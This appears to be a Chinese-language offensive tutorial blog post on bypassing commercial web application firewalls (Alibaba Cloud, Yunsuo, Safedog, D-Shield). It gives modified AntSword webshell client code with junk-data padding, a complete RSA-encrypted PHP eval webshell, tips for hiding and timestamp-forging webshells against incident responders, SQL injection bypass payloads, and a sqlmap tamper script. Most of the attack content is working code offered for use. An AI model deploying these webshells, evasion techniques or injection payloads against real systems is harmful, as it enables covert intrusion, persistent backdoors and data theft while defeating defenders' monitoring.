Waf_Bypass

Waf_Bypass

  • 默认webshell免杀
  • WAF:阿里云,云锁,安全狗,D盾

0x01 流量免杀

这里主要针对开源的蚁剑,好用且能自定义。

公开的菜刀工具,流量肯定是被监测的死死的,事实上蚁剑默认的流量都已经是混淆过的了,加上蚁剑自带的各类编码器,流量看起来已经非常复杂了。但是waf是可以解密流量的,公开的加密编码方式其实没那么好用.

在对流量分析中,菜刀默认情况下是有自带特征的,尽管不同菜刀也会对自己的流量进行各种层度的混淆,不过公开的工具嘛,流量肯定被安全厂商检测的死死的,只要是公开的就逃不掉的。

菜刀的流量特征主要是HTTP请求头特征,payload特征。

HTTP请求头

HTTP请求头特征虽然明显,但是waf不检测这个地方,不过为了以防万一,我们肯定要做点什么的。

注释掉默认USER_AGENT,实现随机UA头。

AntSword\antSword-master\modules\request.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 请求UA
// const USER_AGENT = 'AntSword';
let USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3835.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3831.6 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Safari/605.1.15",
"Mozilla/5.0 (Linux; U; Android 7.0; en-US; SM-G935F Build/NRD90M) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.3.8.976 U3/0.8.0 Mobile Safari/534.30",
"Mozilla/5.0 (iPad; CPU OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Tablet/15E148 Safari/604.1",
"Mozilla/5.0 (iPad; CPU OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Debian/1.5.dfsg+1.5.0.1-4 Firefox/1.5.0.1",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian",
]

const USER_AGENT = USER_AGENTS[Math.floor(Math.random()*USER_AGENTS.length+1)];

效果图

![image-20200314151437294](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200314151437294.png)

Payload流量特征

payload流量为监测重点,我想了想,在公开的加密方式可以解密的情况下,恐怕得自写加密了,然后就看到了yzddmr6大佬的数据填充法,然后抄作业。

利用大量垃圾数据的填充使得waf监测不过来,垃圾数据由自写函数生成。

实测waf情况分为:数据过多直接放弃检测,数据过多只检测一部分。

在没有对payload处理的情况下也能过Waf,且不影响对payload的各种处理,不过我觉得还对payload本身进行处理,不然别人分析了流量还是会很快暴露,以达到万无一失的结果。

AntSword\antSword-master\modules\request.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
行数 49
let varname_min = 5; //变量名最小长度
let varname_max = 15; // 变量名最大长度
let data_min = 200; // 变量值最小长度
let data_max = 250; // 变量值最大长度
let num_min = 150; // 变量最小个数
let num_max = 250; // 变量最大个数

function randomString(length) { // 生成随机字符串
//let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}

function randomInt(min, max) { //生成指定范围内的随机数
return parseInt(Math.random() * (max - min + 1) + min, 10);
}

function randomDict(dic) {
let tmparray=[]
for(let i in dic){
tmparray.push(i)
}
tmparray=tmparray.sort((a, b)=> { return Math.random() > 0.5 ? -1 : 1; })
let finaldata={}
tmparray.forEach(i => {
finaldata[i]=dic[i]
});
return finaldata
}


行数 251 & 398
// 通过替换函数方式来实现发包方式切换, 后续可改成别的
const old_send = _request.send;
let _postarr = [];
if (opts['useMultipart'] == 1) {
_request.send = _request.field;
_postarr = _postData;
} else {
if(opts['addMassData']==1){
for(let i = 0; i < randomInt(num_min,num_max); i++) { //将混淆流量放入payload数组中
_postData[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max))
}
_postData=randomDict(_postData);
//logger.debug(_postData);
}

先对自有编码器进行测试,对random,base64,chr,chr16,rot13进行流量分析。均有明显的密文特征,且能被解密。

经过Waf测试,chr16加密是效果最好的加密方式了,可以达到过waf的要求,猜测waf不能解密chr16,但是chr16依旧是公开加密,密文特征也很明显,用不了多久可能也会进入waf全家桶,所以这并不是终点。

然后我发现了蚁剑的RSA编码器,通过非对称加密的方式实现密文的不可逆,不过需要对webshell进行一定的处理,然后发现处理后的免杀一句话有点长。

这样的马还有一个优点,只有自己能连,除非你把私钥分享给了别人,或者说流量重放。

流量重放的话问题不大,主要是可以通过重放来分析进行了什么操作,解决流量重放可以用蚁剑作者的时间戳.

此时流量在限定时间内有效,过时即无响应包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A{
var $ring = "demo";
function __destruct(){
$cmd=($this->ring);
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDf5VtIkyIbO78PExipZY3P2CS
bYIGXU9T/V8Rva6OTfeYACHsBYLNSq7OXA0006wXxHKrOM48nH59kr9ZBcQ4z8O/
TJUit2W81koiQ8TVvael5RCszm3Usx1vE21Rsqr1aL7QaRKsv00Z/MBacKptAs27
gTD0FC4mgvbpCmIwyQIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);

}
}
$ring = $_POST['ring'];
$len = strlen($ring)+1;
$pp = "O:1:\"A\":1:{s:4:\"ring\";s:".$len.":\"".$ring.";\";}"; // 构造序列化对象
$ring_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
1
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;//解决流量重放

经过流量分析,此时流量在没有私钥的情况下已经无法解密,此时waf已经无法解密,更不用说识别流量了。

payload去url编码的结果。

1
D+45iuPA7sMEczA3ZXzpCLicTNR/goVvH75VNW/2XRBsJm8N3CiCYw21oi1o8r5Rj1g0lqioILuLd7bh8Bu2Yl5CJNCJ+6+fZs02 NtrP8bqs8gqFBdTDEP2WjBJEealna0oy62i0SwqB7MprZO0tEU8qNPuQ2MMa4Rh/3sY2xiY=|oPn0QtnZaSfmRey7SVZzcdFR7aw ukf/fnU05D9zTYRD0ggxJnhXheFx5OCu3SoYPyw5noE2kx/yY5YhciIv2VTN0d6mkx0L2jdv1w3Wf5TgCMNc5PAF0kdXa1cmJB3C e4BXsYJkbGb85ryu37noWz4v/cTKDSgS6IxuBiAEU2ks=|Lx0LCYoSVP/4CTig0AWNly9muBr+HBmwK5wMKHC+a4NIxhFMRXJCNf RJGCRLtggOZvOkGXAUUU7G0UKg7AdG1SjuA4mL41/Gs/cWqLa+WJp8hlP1CIMQHliR5fG9MMq4ChnrtC0Hf70ndv4j/JCBAIN+yU aaTDvEHNeImYDp66E=|r8g/9GwWB9qta87Stsd+5jkfg0vRiDN+/NH1bQkROH2EhGGVJn+ZwB+0INcbvM+NEIcj4LSa13Ge0gb3s 8tPXfJpEmtrqMigTk5jjEg2Vs9GUdKHHNgRT/v1ykrIQNGAgF0O9dzeyOYd8h80dtJ1cB7DlZnBwJ/tcNtOr3hS1fs=|JLXWPuCC hMGjZD5rqEtwwjKRpFxrXErXU2rW+1DsAy4P1LBPcJ+Gbi1H3qxcgbtGxQMlWU59JyDsUrOAQ3hMl7pUoeBfP/XuvEbaJnr4ZrIa ZuAfsGwagtOnECxMrXHvbIo+774dO+FM2F2BTZol6y/q+XI2VEPafEFkd7jiHQw=|UR1Ao61+RsFk9IoNehu7QtaMjBdovrIt2mn TqdXageeDmaK

![](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200314124155221.png)

加上之前的垃圾数据填充模块,可以实现密文的进一步隐藏,在一堆垃圾数据里面找到这段payload,真的是流量分析的梦魇。

![image-20200314124943576](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200314124943576.png)

不过我也分析了一下,只有这段payload有url编码,且payload相对过长,加上每次流量的连接密码变量为相同的,且响应包为明文,所以想要分析还是有办法的。

但是,我们还可以在垃圾数据填充上做手脚,修改代码以达到我想要的目的,加长单条垃圾数据到payload水平,垃圾数据池中加入会被url编码的符号。而连接密码暂无特别好的办法,不过我已经非常满意了。

然后我又分析了冰歇的动态加密,流量无法解密,连接密码只用于获取随机密钥,建立连接后流量就全是payload了,响应包也全为密文,看上去确实无懈可击,但是问题在于它不开源,很多特征没办法修改,以至于现在流量已经能被部分waf检测到了。

不过,动态加密于蚁剑也是可以实现的,还未尝试。

img

0x02 Webshell持久化

关于Webshell持久化,其实并不像远控持久化那样,可以使用各种系统层面的操作。

如果都能远控持久化了,webshell也就没必要了,难道说我还要写个用于生成webshell自启动吗,感觉有点舍本逐末了,私以为webshell相对远控的好处在于安静,不用就不会有动静。

所以webshell持久化主要在于隐藏shell文件。

  • 修改配置文件如php.ini,.htaccess,.user.ini
  • 不死马。
  • 插马到正常文件,或修改正常文件使其出现后门,例如404页面.
  • 数据流隐写
  • 内存马

但是实际上并没有那么好用,尤其是修改配置文件,于是我就去问了问做应急响应的表哥。

不免杀,有隐藏属性的文件,数据流隐写,配置文件,会被重点关注。

如果第一步没找到,就从文件创建时间来排查,和日志进行比对查找。

终极手段,文件完整校验,可以与cms初始文件比对,或者说有单独文件服务器,可以做hash值比对。

不然就很难发现。

所以最方便的还是 无特征免杀马+时间修改为正常文件时间+正常的四五级目录+正常文件名

1
2
3
4
//将demo.php的最后修改时间改为2020年1月26日14点5分10秒
<?php
touch("demo.php",mktime(14,5,10,1,26,2020));
?>

0x03 Sql_bypass

waf的检测形式,在于对语句的检测,关键点在于对关键语句的加花。

单一的语句不杀,连在一起才杀,注释符是个好东西。

Safedog

1
2
3
4
内联
http://192.168.222.134/demo.php?id=1/*!00000union*//*!00000all*//*!00000select*/1,2 -- +
注释换行
http://192.168.222.134/demo.php?id=1'order%23%0aby 3 -- +

Tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding=UTF-8 

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog 4")
def tamper(payload, **kwargs):

if payload:
payload=payload.replace(" ","/*!*/")
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("AND","/*!*/AND/*!*/")
payload=payload.replace("UNION","union/*!23333cas*/")
payload=payload.replace("#","/*!*/#")
payload=payload.replace("USER()","USER/*!()*/")
payload=payload.replace("DATABASE()","DATABASE/*!()*/")
payload=payload.replace("--","/*!*/--")
payload=payload.replace("SELECT","/*!23333cas*/select")
payload=payload.replace("FROM","/*!23333c*//*!23333c*/from")

return payload

### sqlmap -u http://192.168.222.128/demo.php?id=1 --identify-waf --random-agent -v 3 --tamper=safedog --dbs

云锁

1
2
3
注释
http://192.168.130.135/Less-1/?id=1' and strcmp((substr((select /*from*/),2,1)),'0')--
http://192.168.130.135/Less-1/?id=1' and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- +

垃圾数据填充法

WAF遇到大量数据时会直接放行,也存在于sql。

云锁需要30k.

阿里云需要200+的键值对。

经过本地测试成功Bypass云锁,不过云锁还是会报警,且垃圾数据只能用于POST注入。

垃圾数据可由IDLE生成,或者由脚本生成,需要生成多少直接修改脚本内容即。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding=utf-8
import random,string
from urllib import parse
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
str_list = [random.choice(string.ascii_letters) for i in range(length)]
random_str = ''.join(str_list)
return random_str

def main():
data={}
for i in range(num_min,num_max):
data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
print('&'+parse.urlencode(data)+'&')

main()